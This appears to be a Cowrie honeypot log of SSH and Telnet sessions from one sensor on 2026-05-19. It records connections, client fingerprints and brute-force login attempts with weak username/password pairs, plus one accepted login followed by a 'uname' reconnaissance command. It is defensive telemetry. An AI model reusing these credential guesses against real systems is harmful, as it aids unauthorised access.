{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":10940,"dst_ip":"10.17.0.5","dst_port":22,"session":"25487cd3b84d","protocol":"ssh","message":"New connection: 45.66.52.41:10940 (10.17.0.5:22) [session: 25487cd3b84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:10.127668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:10.133083Z","src_ip":"45.66.52.41","session":"25487cd3b84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:10.222683Z","src_ip":"45.153.34.112","session":"17708e8d6b3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:10.316957Z","src_ip":"45.66.52.41","session":"25487cd3b84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panadepula","message":"login attempt [root/panadepula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:11.133923Z","src_ip":"45.66.52.41","session":"25487cd3b84d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:11.306538Z","src_ip":"45.153.34.112","session":"17708e8d6b3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.982446908950806,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:12.035377Z","src_ip":"192.119.13.58","session":"32572af51cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:12.317696Z","src_ip":"45.66.52.41","session":"25487cd3b84d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40778,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5fac095b2d0","protocol":"ssh","message":"New connection: 45.153.34.112:40778 (10.17.0.5:22) [session: a5fac095b2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:13.656512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:13.661494Z","src_ip":"45.153.34.112","session":"a5fac095b2d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:13.744553Z","src_ip":"45.153.34.112","session":"a5fac095b2d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:14.088335Z","src_ip":"45.153.34.112","session":"a5fac095b2d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:15.174813Z","src_ip":"45.153.34.112","session":"a5fac095b2d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40802,"dst_ip":"10.17.0.5","dst_port":22,"session":"f697d6150751","protocol":"ssh","message":"New connection: 45.153.34.112:40802 (10.17.0.5:22) [session: f697d6150751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:17.383503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:17.392461Z","src_ip":"45.153.34.112","session":"f697d6150751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:17.475038Z","src_ip":"45.153.34.112","session":"f697d6150751","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:17.821419Z","src_ip":"45.153.34.112","session":"f697d6150751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50160,"dst_ip":"10.17.0.5","dst_port":23,"session":"b04bfe95b366","protocol":"telnet","message":"New connection: 192.119.13.58:50160 (10.17.0.5:23) [session: b04bfe95b366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:18.891152Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:18.906519Z","src_ip":"45.153.34.112","session":"f697d6150751","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":53732,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e51d0207745","protocol":"ssh","message":"New connection: 43.130.36.39:53732 (10.17.0.5:22) [session: 3e51d0207745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:19.298920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:19.303795Z","src_ip":"43.130.36.39","session":"3e51d0207745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:19.376681Z","src_ip":"43.130.36.39","session":"3e51d0207745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Login123","message":"login attempt [root/Login123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:19.687806Z","src_ip":"43.130.36.39","session":"3e51d0207745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.662538051605225,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:20.732223Z","src_ip":"192.119.13.58","session":"31e50ffd0720","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:20.761700Z","src_ip":"43.130.36.39","session":"3e51d0207745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46624,"dst_ip":"10.17.0.5","dst_port":22,"session":"746fc604b3fe","protocol":"ssh","message":"New connection: 45.153.34.112:46624 (10.17.0.5:22) [session: 746fc604b3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:20.950869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:20.955830Z","src_ip":"45.153.34.112","session":"746fc604b3fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:21.044478Z","src_ip":"45.153.34.112","session":"746fc604b3fe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:21.293108Z","src_ip":"45.153.34.112","session":"746fc604b3fe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:21.496042Z","src_ip":"45.153.34.112","session":"746fc604b3fe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:21.499234Z","src_ip":"45.153.34.112","session":"746fc604b3fe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:21.583845Z","src_ip":"45.153.34.112","session":"746fc604b3fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:21.590065Z","src_ip":"45.153.34.112","session":"746fc604b3fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.53462815284729,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:21.893247Z","src_ip":"192.119.13.58","session":"1060e77e51ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":34053,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4d5b70aef59","protocol":"telnet","message":"New connection: 186.195.16.41:34053 (159.203.135.109:23) [session: a4d5b70aef59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:23.387810Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41808,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a34c92906f8","protocol":"telnet","message":"New connection: 192.119.13.58:41808 (10.17.0.5:23) [session: 4a34c92906f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:23.621956Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":47602,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdef406839e8","protocol":"ssh","message":"New connection: 186.68.83.105:47602 (10.17.0.5:22) [session: bdef406839e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:24.269574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:24.273205Z","src_ip":"186.68.83.105","session":"bdef406839e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:24.364318Z","src_ip":"186.68.83.105","session":"bdef406839e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":46636,"dst_ip":"10.17.0.5","dst_port":22,"session":"35a13e017e78","protocol":"ssh","message":"New connection: 45.153.34.112:46636 (10.17.0.5:22) [session: 35a13e017e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:24.599585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:24.604216Z","src_ip":"45.153.34.112","session":"35a13e017e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:24.690640Z","src_ip":"45.153.34.112","session":"35a13e017e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric","message":"login attempt [root/eric] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:24.750203Z","src_ip":"186.68.83.105","session":"bdef406839e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:24.938244Z","src_ip":"45.153.34.112","session":"35a13e017e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.80119013786316,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:25.456044Z","src_ip":"192.119.13.58","session":"c7a9f010b003","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"16.58.56.214","src_port":43150,"dst_ip":"159.203.135.109","dst_port":23,"session":"c61df8bd21d3","protocol":"telnet","message":"New connection: 16.58.56.214:43150 (159.203.135.109:23) [session: c61df8bd21d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:25.533711Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:25.841951Z","src_ip":"186.68.83.105","session":"bdef406839e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:26.053227Z","src_ip":"45.153.34.112","session":"35a13e017e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.09788537025452,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:27.426249Z","src_ip":"192.119.13.58","session":"83a46e715f74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":47452,"dst_ip":"159.203.135.109","dst_port":22,"session":"8064a33d1704","protocol":"ssh","message":"New connection: 116.110.11.66:47452 (159.203.135.109:22) [session: 8064a33d1704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:31:27.827313Z"}
